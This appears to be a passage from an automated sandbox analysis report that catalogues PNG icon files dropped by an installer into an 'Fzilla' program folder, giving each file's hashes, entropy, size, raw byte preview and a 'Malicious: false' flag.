SSDEEP:	6:6v/lhPfIoSO1WN6/osdMxpmtT7bllXhBwXvUrgMXQoFNsVh1nXjp:6v/7qO1XZx/XhBIvylNsZnXN
MD5:	349633C4CDC29C02CB34E8B605400B8A
SHA1:	59F0AD012A4BF5F1BF1D3CBF59B19CFEBCBEBE76
SHA-256:	90BF623710CEBBC06AB764E25ED74F6189F3E6B279C75C7EB5C69E8564F0B1E7
SHA-512:	CECE4F47776C4406377E9B5AE54CC4441AE3348B3F55E5B9FAD4B88AC295CE781093D34941F72CADD7A14361600F11A2D09C9FE24F13298DBB6DE5EC64EA72AE
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...rPLTE..................M....]......vzz...F.......SUUbde.......EGG......"##........................................k%D*....tRNS.@..f...pIDATx...EB.P....7t...t..z......g...DJ)....t;!b.mfE..C......2.-q.u.....:Y....K{.PZ...qlK.jW......D9....}j./,RH.jp......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	323
Entropy (8bit):	6.996338689643297
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoc2l2rW3tpUZE9VyiOgGnHvi3oeaRHXKMMMo7/jp:6v/7uNpkYKVGHviYjXKMMMI1
MD5:	FBE18E0818E5E9C3558423C1AEEF1DF5
SHA1:	1AA36E2B49B71193447A97C98F7C433560C236C9
SHA-256:	D8699A29870DA50582B088AE2E69B4E360988C24A294025B023A6D71E3267F69
SHA-512:	EA8B48A7E238A419C813CD5D75F1C699561E9B394CDC17EBBC5A4C0954372F008D5EB26D98D06849F4E201972BDCD5B568243BF6EAEE8D709288C410BE6A3DA6
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......tZ......IDATx.c..=2..r.u+.\L..P..5{.......\|i.#[O...j..5.pj(.h...f.....;....).W..s..M...X44M..j+.l/.h..8a.%..o.<.......6 *io-.h+.h+ko.r.8.....v..4............S...X......e...l...`......Oj...!22....k.D..@X.....x;..."""......y.......0..O..t...........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	6.95100077715202
Encrypted:	false
SSDEEP:	6:6v/lhPoddl4O88/Np4jfPfcVP7Db3+gOuPa0eJG9iup:6v/7Sl18ip4j0VD3Va0EC/
MD5:	DA558196C46B839619A80EE4E98BE91D
SHA1:	524E7F33C70A7CAAC8B3D802411D8F122DD45393
SHA-256:	1B94BD92D4DDE13738C9CFB8CFF9F39A02208888C7D665336E2AA6274E0A8A2A
SHA-512:	995582F0DB3CB16078D9811ECF5D14CBC50C2CCDC70395AC1420B522291F08A9DF639BBAF65E6C484B8B76A851D91E1856C88154949994C91BD30FE8C94C7804
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..3bDQ.E....._...m..=Ul..&.v..<.......E.%..#..7N.0..Bq...J....h....d...p.].0,..'... .....H.TB...,.g.I(.A.9...C...........e.U(..BC... uw.../..\|S<..!.LP...d._......`...M#....EUO'..QFQ...n}A..:...3...w.P"..#}....h._y..9........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	247
Entropy (8bit):	6.649761592354371
Encrypted:	false
SSDEEP:	6:6v/lhPmNpot/7/nbC9TxJKhQfGRQV/jrU4Ae/oJgX/qzPcBHBCOdobdmtVp:6v/7uNpA/nATxJUC5AsXYcXCnbk9
MD5:	5C0F552147EAA7DE4CBA4F81FD5A18CC
SHA1:	7D76C4610A80BADF0D10040106DFFF19DE6BA1AD
SHA-256:	CB66227AB907DF6BB3F09E238CB818EBF11C240879E361C57BAA41834A310CF9
SHA-512:	295691B271F7549135476D29B3209171B15267BD8FB044001CDCD52F0EB3383F621CF3A402CEEC3E1AD1F5DAAE4814AF17B18302D66173ACE085BC2838B6AB75
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n.......IDATx.c......gG.g..BEh...)..'o.._.T2)z.&..).._.......h0O.... ..^....M..kv.."..\.<..H..?w'2......g...;..m.g.<k..UG.i..[..R..=.svCPd...N....$h.....@<ptt$Z).\=X.a0.V..fy~..n.C....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	361
Entropy (8bit):	7.098661580738674
Encrypted:	false
SSDEEP:	6:6v/lhPfYjeqy5BQ8qA+cf+Nc52u1qhHohZHk+I1yhZ3Q96Py56aFUcvy/bp:6v/7p5BQ8V+cccwuvhRk/shsx6aFs1
MD5:	A2DBD027AD3E7BFB8A1D362BA6F14A29
SHA1:	00262B9E428815BA409BBE96A8B01A614C11ED44
SHA-256:	BB98173E1D739761CC52CFC654811340F943631888ECD6E3D6F67966F2868FE2
SHA-512:	30B476C9F46313CBAEC57A6B2096163242E00596447486F944C06E871D440D85D9FC7D6BDC4904772B30F85F0A379E704B0AF72CCBF2A1EA7526F9A227EC66CB
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE...}}}ttt........ZM.............r\|...Q..Zd.......z..Uu..........\S}.Ov.Nu.Lw.....y..P..]..^}.N..T..Y......_....Q..[..Qx.Gm.A\.,........\|.JN..F......{..R.7o?....tRNS.@..f...uIDATx.]....Q.D...~.m..i1....Ob.D..<. .. I...ds...b.,*..Z....l.E....C....o...:...:iM......r.you........Og...F}.W....7.j.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.940487392659974
Encrypted:	false
SSDEEP:	6:6v/lhPWFmtOsEv651bAs7Uxlrk0X7F0jIOtuaUvLXVp:6v/7K3sk65asUDrHOjIOY//
MD5:	895DAFDF31CF7C888160BA98ED646C3D
SHA1:	9FA33AC0AA3FDB783CB8065FB8A3B34D2CAD323F
SHA-256:	0B3AE3F55208E4D443D0289C7BDFEEF0579F757257C5A91F27F1CE71C0BD968E
SHA-512:	8F815B7F9D36D702A8CCD3FFA6E37D7EAC2F792E21A812358190BD1575E812F0C8FF6A4D3EC4851407AC0F57E55AA9D4CE1B4D351EB48690AD40C7E3A95B611E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c ...../)).___.....Q$W/Jf.b.\|..O.....'.O^.....S..j...L.......1...I....Oi........n...j.........~.......3.l.....H..3....r....._......}.'....e....+..9..2...d........@..Q.....&....h....0."7 ......<......E05*...+4..@..2--.up......q......_...r...P.8.....y......H.........\|O.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	437
Entropy (8bit):	7.382078738717652
Encrypted:	false
SSDEEP:	12:6v/7OK/fWIYeOvKEamhL6oHJGU7v8LmCMBX1w0vyP75B:o26PoprqoBF3c7f
MD5:	5ED842E1BB5700A572CF1FBF603E4350
SHA1:	FEB188CDB6FDF59824D65550BF824D8B4B7C6543
SHA-256:	7F2165A969FAE9F109587CB13415D6C4C0BD10073F5AD1DA0E05DA2B30434425
SHA-512:	603E5DC44CFEC975F0842C3CC6F57834CDC7B5E413F394A412B920E37DAE6DCC6D1912F48762B0508FB1DDEF407030BF89DD8B97B1CB131C56A77A9E8307BFAE
Malicious:	false
Preview:	.PNG........IHDR................a...\|IDATx......Q...SD}.`mE....f..f....m..31g..........=."z<E..fp.).....t........Uh..v..]..'W1yr/$...<....<\/...0CT..&.=..p...Q.....j....0g1....X.;.Y{.&.-Cw....<3@...........g..._....X...3....V......\....../..6.a.D..........rc........V0........N..\|..@.nc..;L...;..^...c.)-.:..o.`.v.B[.."u.!v5.\|4./~;.h*A.F."Y`..!.R..u..K...>..3....}.!d.P.%...G.S.j@.....u..".\|"....}.....P.(.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	245
Entropy (8bit):	6.576576510042608
Encrypted:	false
SSDEEP:	6:6v/lhPfyTN9sKYZXgSr/tSrKhmxvm/pw+FDWErrKbglljp:6v/720QSDxhmd16tyg1
MD5:	16C03F6FAA711DDCE324AAB2E63FEEB0
SHA1:	6A11E846A2A9213BE5063541481353C427B3982F
SHA-256:	10B4F5F8F02D9ACBF916066FD0F0F4321158E719C8DEBB9BD9FFBE5F21A8A7D8
SHA-512:	8DA9624B3AB9A58F9EA39F4CD3BE3F7D828A39B569F46F8F5D89E9C30653EF12938EB6EA21D2136FC7CE68EAC5D396362213279FEEC1401E9D028A0B5125574A
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE...Ce....h..L..r.....M..J~....o..{.....c.....g..`..P..X..Y..f..w..]..i....._..P.........tRNS.@..f...RIDATx......Q..^.._...ks...G..\.vi...-.9...3p. d....33YC.B....3gD.,....A.j.<.._.....hh[.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	405
Entropy (8bit):	7.187460923868278
Encrypted:	false
SSDEEP:	12:6v/7uGzID7vxxgxAcOO86RgfRfORwDRyj:0zIJ+IRfORw8j
MD5:	9B40B36993E7737C5699ED6E2F469752
SHA1:	839D23D6EA6DDF9370B1426C3B86C6EFB13318E6
SHA-256:	9A6E19A11B938FF5B28D10E880DC3F8BC0F6B09B97CAC3A82DF6AF3737D16250
SHA-512:	D4E6D9F4B3B0049661D16AA86E21CF540B82CE0BEA355AE8F3D2DFC39C01053D1DC162EEC1901E7B08D8B31DEE78EA7E68CF6F871EFF00AC5E2659C00B82A838
Malicious:	false
Preview:	.PNG........IHDR................a...\IDATx.b.....P.L.P..m5;.m.m.m.1.....g.l..d..D.\...-.Q.....m.....!.)..?..Z.:4.B8..j..p.7..1.]..H.0..W...[H.....0c..i..Y....H....._.)..xJ.xcj......v.X..lC....K...... ......q.........3..EKK.ELL..o....///..."??....~.0..Ss.......-.L..#(........555a.....Yd.." .... jATT..fp>T}R....\|......m....9.11.P..........X....@........c.....M............,.3.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	156
Entropy (8bit):	5.7179010050773575
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZ1vF/s2xnldlY3Qhl/OkyfK1DeG+cvsn4l/Vp:6v/lhPIFZ1NRmghAkb16G+esoVp
MD5:	2578435CD4F1B2703C38785A361D79F6
SHA1:	0D38BC97318D1B8CA79B9829883907738AFB04F3
SHA-256:	9FE376C420D461C5E67500510E38E8533E3C60A91F42BEBA85F0AD8E178A52B5
SHA-512:	DF0EA0BECE142B3A11EAC4880CC68A440D86253ED818AE6B097F38CB343D4F22CDE4C9EB308D4AAE585874344ECEF1A38833205EDF9B1950134060E64D299CF4
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...AAAYok.....Z.....S......l..0....tRNS.@..f.../IDATx.c@.LJJ..FG.D.......&...7....4[....q..@8...J..D......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	290
Entropy (8bit):	6.825774629495782
Encrypted:	false
SSDEEP:	6:6v/lhPfIXxUVlT6ieX/Yh0I/7UtJSVQK8sL60+Vu/XhCx/M+j92MZXUOdVF6Yu5p:6v/7exULT6ieX/Yh0RtbKTl+Vu/hCtMT
MD5:	321BAC4AF0CE6A899C144C0EC774816B
SHA1:	C57CB3F149F39FCF310027A2A2ACB5F052B63EE4
SHA-256:	AA4767817BFB63E9D8431E28DBFC95B3055F4239BA1805084C31380AE6289343
SHA-512:	E0C9BCC0B9DE15DFA5C926B05D83860785C1E66C20301C0761FF87221D23AE5451D3FF9629D14571DDD2DD12E0C8393BF0B4F97A2D7060C477ADF4853AEDAE97
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...rPLTE...xxx....Q..................................~..{..x..q..j..^..~..r..i..c..]..Y..U..O..{..n..h..d..b..`..I{....tRNS.@..f...^IDATx...A...........[...n,..d2....;.B.ZL...C....8...Y.+....I.kK.....[..S..h.r...4.........O......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	509
Entropy (8bit):	7.401768858002121
Encrypted:	false
SSDEEP:	12:6v/7ctd6LhPNvBcd+pNm80mnhwofPXf8NcVEnhzk7DKB1:ULed6N30ehwIkNcqRqKB1
MD5:	39ED5FA30B56A0AEBB0A0EDC3609F7A8
SHA1:	AD45E2AB1E410EB4A0F9B5733B93772589289A80
SHA-256:	F77E5F30AC9CACD3C181706F85D7613B10757A80CDB296BC18B8583A0923F891
SHA-512:	892BED361A39A019C5677962D4B2745CCE90B980FBEBCCAB8E67F9EC63A8664BB05087ECE060874811A0C736453FCC99EA494E93E7367C24881E7984BDB6B1B6
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.."..#c....?...-....Q..Z....gN.?\|......c3.n.H../X....p.[...4`.Z..,...m..`...........l?\|...L.(..F.d.v.9...P._R .U...... 9f.1..........3..............n..(....F(...."..x.U.B....Z.....`~..GC...L.f\.H@....S..GU..t2g.b.....s;.y...)....Q`..'z...5b....'_.[~.U...z...5b..........d.e.V...3.\|.)6*.qL;.U.(&bR...q..[@..NJ..g...V.......n..I....=...........igR:.1P.M...Q .@.Z7....1\..c....U.yaZ....~mV..M.._.j...I.tc ..m.5..}.l.K.6.z..Z....?4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	301
Entropy (8bit):	6.880532369203427
Encrypted:	false
SSDEEP:	6:6v/lhPfbjSjargTfhr81BoOL7kwVObZETcrtgFNyAf6qVFoGYbp:6v/7Hqjad1u0JTcRgFrFQ
MD5:	A1C73D5A053CB0DE1E50563C9FCD30D3
SHA1:	58D73C51BBCBC15EFFD450F5DC1B5CED73D15109
SHA-256:	A7DCF0626F73A1FAABD673DD740E26E0DA5A6B50A7DF338F8E789CBA58743099
SHA-512:	2622015EB07CB91785AEB9B64A367B3870A7B8BE5F6AC79452B99FE1A9620ECD1E9063B859D79B693F334B6CDEDE0C6FB47B97DBCDA9BA86815B1896372B41A5
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...D.f. >K.J^.....(.....q3P..(.y./.w....s.....`1q>.?.5....{......`....x.',..HZ........#f.....7L#L...y......>...........M...F.p..7@.........o.!.....A4........kjj>aaa...j...4nP..4...5'''.KLL..d..A...a....Pf..a@zz......`... ..5.......L......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\symlink.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	121
Entropy (8bit):	5.575299187668877
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtlBxdwlsHYaNP6PlG4MrXnxB4vM4Ea/bp:6v/lhPO6/BiaoltMrXR4Eqbp
MD5:	BB02D9D5C7681D0C0B6D69B4C9D7B488
SHA1:	B851E800CEA88CAB39FC20519846461B1A760C48
SHA-256:	922757556A97089AFDF0F27EC5BD7AA8D805344FE296EA1106E17E98CF1862E3
SHA-512:	B5063E2B4001C7E83BE30DA4DB5B5AC2B449F0EF0755675A79246217D8B906D20FEC56035E50DF94E7576A1C877A5FC5858432644D76081F036D2527657FE48D
Malicious:	false
Preview:	.PNG........IHDR...............7....@IDATx.c.O...........(...._.......^.}.)8....(.....d....... .$........!a.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	312
Entropy (8bit):	6.95821797429228
Encrypted:	false
SSDEEP:	6:6v/lhPRmDQUUSN6QuNrUmKPP67ROui2rWSHL0FwFsmT5OpKspuY/ip:6v/7ZmsUUMduZUmKK71CMAFw16KsAYA
MD5:	3FC22CDF6513A6A85C9447D2A1A032A1
SHA1:	42F64379B5072087219D527A3C025114F9804FE0
SHA-256:	C2E0F4D177FB49067CAB48B0FD1975AE26644BF9DAE5BAEB110C988B8C596521
SHA-512:	9B95B893EB9242D27B1128EE92CF22A27AE80E312CF86FF2A97257F309558F8134BEAE5979F143FD852F4ACC43B5714907B8C980CF41705F8BBD49B0DB0555FA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.A ##.?:vssa$.111^....S...?....`.a... q...4.>\|.....,..q:177.<--...oj..... .S.j.r..yy9.0[..;.v.#G...={..G.kV...`.N.<."......].....+A.d;X,..f&..+......,55U. v]]-XQff.`ttd.....a.p./Y..........l!:..[....% .......QI....el.$22<.........@l?....`..P.qq#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.9565335061879265
Encrypted:	false
SSDEEP:	6:6v/lhPW5h5v7PRBhgSIueXHbPwgl0Z8/IvYX2hpqQXp:6v/7u5h5v1B1ID790ZxQXEpqQZ
MD5:	66F6645979AC4E573797BA684B82A6F1
SHA1:	AF76D80F95B0106DDF0B874933F0556714FA3641
SHA-256:	71F84B897ADA3B015FDB5582CC8FED63053799E4C897CA5B8A4040B7C2C40D7C
SHA-512:	F6FB7B0CB0086954314314AA31B156F26AB8C7B4B9F51F67AED2A43F31DBD75753BFEAEB5C717C50F7DD49FB530E8E2B3CDE11F26F0D6E996DB096087F1949BA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c....AF.".\|k...p.T...6.Q.0#I.....y.....%.R......).[]/k..J..........O[........BW10.NS.E.-i....y..c.8s..X,.EQ.Cs.,.$....K......H...R...+...,W._y.... ......o6...X....].p.T.5....X..oU..)....\|..\c.t.......w..g`D.{.4u=t.F.......~.....>.....F...).g....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.167492730834389
Encrypted:	false
SSDEEP:	6:6v/lhPWfm0I+K734L7xsN16wZ94gnE+IB/UNtCUmexdlOloKNlCup:6v/7Vpf43kjH4gnE+IB/+mOdLU
MD5:	D48ABFBB9729A45D99D88839CBF41FF0
SHA1:	DAA1CB349DF097AB5D8E024207F983150AB423F2
SHA-256:	0A39CE70BF4105CFAEC872030221302BE6ED16F25D44D5ABAE668FF9FF7BC931
SHA-512:	64754095979F3BEB624AFD76D410FEA11C861C573A52813D5A9E80F2F5DF07E384C2D9B4FB226E366332044566C41E7113223A042136D63EC0091A0CCD799FC6
Malicious:	false
Preview:	.PNG........IHDR................a...WIDATx.c@.L`L&`..........C.....*++.......I1......__....,--.........C.!LIII?CBB~[[[......b'''."..@.9....^..Ab.i.\$.CII./d.....pp........i......{.<..lXL..LB.1..t+.7..........{...?k...!8..g.)..l[.C......l^.?.s9X.l.....).0MkO.........%.#.8{.:..$V...........N._.wI......W.j@`.d'.......'..k.................T.o...d..........>...6Q.z..:...3x......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1502
Entropy (8bit):	7.847642654721642
Encrypted:	false
SSDEEP:	24:r6+W9Ubora2KtKj7dpfK5IkB+CN9KXOp23giSZY3VPwjzsWihVtJLGlUono0/0/G:G+Fbom8TC5IkB+iKXOp23gf64YnooHa
MD5:	8937AE02C0F26EB8444864BC6EC61BA7
SHA1:	603DE24BCFE8872F39C616EE6C513279B0CF9173
SHA-256:	C1A277D56033288A6C4EA17AB3757410D2CFC030D35F8C903A2C5F2EE9D93D70
SHA-512:	B1B46EA96BC417A2D25BF648587C519DEE56CA676D5ED173CA3F31864501F6A7F2F29B28CC3AAADE8A86AD37DB7B14B8F1637002BEAA9356C4CDBDE4DF7CE8C4
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$K.....Bcl{.l....>.m.9.<.....Y.q......_....G....._...\z....MhLo.>\|(}..R...qyPWz.e.]../T...._.\|f......Z.ZV...[.r..}.......y.......5C/.}Q]_O.J3a....{.o.........6...K..f.Q...o...........(@IEe...(.k22a....._..uA..8.ay.F.Ln..=>ys..C~;...o/otO.f.W.{~.Q"F...^.HJw..`.bU.(.C...j.L..g.Cd...........@..`c.y....&.3..Y....5q.j.i.C>.. .. .....t.'....d.v"...../L.A....f\|2..!..>....O]PS^UN...m......NMM.3>....B6m.H.Q..b..D.j-.B:..1..n.B._.Q.....F..P.(JGw.z........sY..7......"..5m.D@....~...g..E_....`..KKv>.EL.r.r.........I..T:=...V.XA..l...L.4). S...>.$.M5.m..`p<)...;.x.....#?...... .32...Ri-.....o......&.&L.D........e.Z.2.....W......o\[......P.=..7_....b...\|\.e..-..m..*F...z..y-.<.'.}..o....?...?.y.^H..k..A..u.@z_.rU4..k.,<......3.:.D"Ad.Qd.]....Z</.q.d.Qz].N.......f.{.....;.'?.....'..)BNv.....\|<k6@..........4`.m...]!..q9.d......yg.y.v...........<.....?.x.....g...Q_W..;...._BViI.w.~;.\|.5..v.y.~...1.X.....j

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1798
Entropy (8bit):	7.86861907620222
Encrypted:	false
SSDEEP:	48:QHEOgA5wRHF+IZFfK2FVgdW/HezrnnATA:gEM0F+E7FVAnCA
MD5:	0E1DF805D31BCBDB1A9B06D7427FC7A4
SHA1:	224419B0F854D20A34627AF199328F5F437220C5
SHA-256:	3DA003ED224A867F683B533B4651901E48F1154E1007F2FF48C8D0D31BABF191
SHA-512:	D377F38050DCE72D8CE9E5A61C3A6E3D6EB654D9D77BFB6D76435448E539C68D3F2381E259BDA146D3C90FCE6CDFF55241A06F3EE4606F48500505271E9EB559
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...Ut.Y.....Z.E.C.9L....af..effff..2.3.Lx.;c..buK}k.;.W.'..;I.t?](]QU.z.G?..E.}s...>p\.dw.eK......[r...].,Z87p...w....p&..p..{.z......a....e....8n.....j...'..!....`bi..i...EG..9g....y..4C....o.0.../........;=L$h....3.%bA...l.!.%.3..r.....T.......Rv......:.8.:PgO....N`._>>.....2..1......T\...%.F9.'....h<.\C..4..h..M..&Z..m..c.......[.....h..X..\7..x.L......D..<..Y<.+....'>..'._..Y...r.b_..9.....f..P.}P\w.z..D..?.-..T. .1.:.......,..[~.<olWQ`.H......../.<..3l....w.$.....s...6(b...n..+.co..Ng..>8p...^...u@..I...O......3.R..[=.Tv....Q\|.M2..y...~"./c..........hg.i...{.6y....x. ..0.n8.jy......% ..U...Sh.....v.q..K<...h.....Xo....D0bE,K../8.+.o......~......q.j.F.3....p0.O1.S.m.....l......=}ajc.3M4.=..-...s.#..Vlm..).Fu...;........][.......u...av2..4.\|.=B9.W..\|<k.l.bYg'oZy..<...366.w...].....f.>.....g....z..b.....s....{..Y.x....^....:.=.K?..E...T.~_.<.V...x..8.......}.......=>#.....<.k....-h.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1436
Entropy (8bit):	7.786160277294313
Encrypted:	false
SSDEEP:	24:vC9HCs+NQmVk4C/jwGRSxF55c/1s1ITOvvboAcVlv+Q0WczUN7YZ+raPTYy9Gddk:Q1+CmOP/jwMsZI4/8BYZ/PTYymH7hW
MD5:	A6A40A9CF3DBF6ED6499A8C941D18964
SHA1:	90A6EB1FFBCE4A8A694FDC65243EC2D69BFB6BC1
SHA-256:	2362E457D25CD18A76A3B8CA564AD4BAAD8E2A7EB89D4F8F9430602BF49A6308
SHA-512:	284F3657A9F39DA147386F2460DB745DEFBBE19AF8181C076483728201B0C8A5FE42C6741F6CA54EDDD0CCD2EEF5D1AB4CE95002277654C45C0BA2BCFB3F9A58
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....cIDATx....p,].....}.'.`..m...Kk{...m...\|.G.....R.T/oJ._......Yv.\|..,...O../.XN0.j.>{n,.4.t...t.O.f.A.322.MW]..>.b........?O..i.#~..v.h......,.R.F...(".2.#.r....T.@.p..nG..s....\|.....\...`\|z.8I..\|..~..G......}....CO.P>..O.....h...X......C...<...u.u.F...]=..{t...(..@..[:.)...m..Q....r...~...Mk.;`..4p..?Ng....uU8.V.(!.. ."..@..$.r.g...t{=.V8f]....a..).b..GGVcsD.-...'?...Q...Z<f.]...W..c;.bE..B.../.@.w.....1.^..u\|...a ....sz..;...A.^A!O.....VY.....*. (..(....>...V.Q.........?....(..."..MC.(..![..2.Xt.m.}q..[.....`J%.%...;{y.)w...g..mK.......... ..D.q.Ic._.....P.[..F...n5q.......J..$A...4.{.w..[1n.o7...QS..(...0.&../...On..On..&.6.&-... .....N...n.....7.<A. .....".a...v...f.h...>%Y.h8."..b.J.{.h.kW[..s.....f.~..ja.\|....t.)...K..nJ!...-a.6L...~Au.V...W.{...........w.. ......]...+..n.a.....^lY.O^......<.....n....\|..?...xpx$....)#._zm@...4..Y..C...n.q.I......N.OL.....;.~q.wer\|...S...=7.c.:..S.....t:1Y

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	334
Entropy (8bit):	6.917558448131977
Encrypted:	false
SSDEEP:	6:6v/lhPkQvKNR08Os/dvwBpDWy+g7/hHA8GgKI2a1dtFiklTMh37Trlbp:6v/7seU2Ttf7/hCgKStIkeh3vrl1
MD5:	5A9DACDC3B1A421121F7FF5588C1D093
SHA1:	131063A64C7CB3CC79D4CAC2DD78B0EEEA9BEFF2
SHA-256:	5F859219D5749258CB921C266BDE4A25825BA3EE36A7606C9904695CDBAF4990
SHA-512:	50083D9DBB7CD16B4CF39CD8A513957712E1909724BA56F29DD3539AC4F61267DFA5CE44C0A8FD0D9F6B642DB823AB7A3B3A611EDB58228AD3116CD075E6189B
Malicious:	false
Preview:	.PNG........IHDR... ... .....D......~PLTE...;H..6.We.\j.Zh.Vd.6F.5F.AN.5F.6F.v..KW.Yg.]i.=J.DR.Vd.x..<I.~..kv.Wd....O\.BO.Ve.Wd.Xe.We.@M.Xf.6E.5F.BO.AM.?K.GU.M[.Xg.7G.F.]-....tRNS.@..f...~IDATx^..7..0....;..^..A;B.L......>p../l./....}u...1.......Lg....>.s0....&.....j`.....5p............@".f..K......M.\|!...4.u.)...v....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\bookmarks.png (copy)

Download File

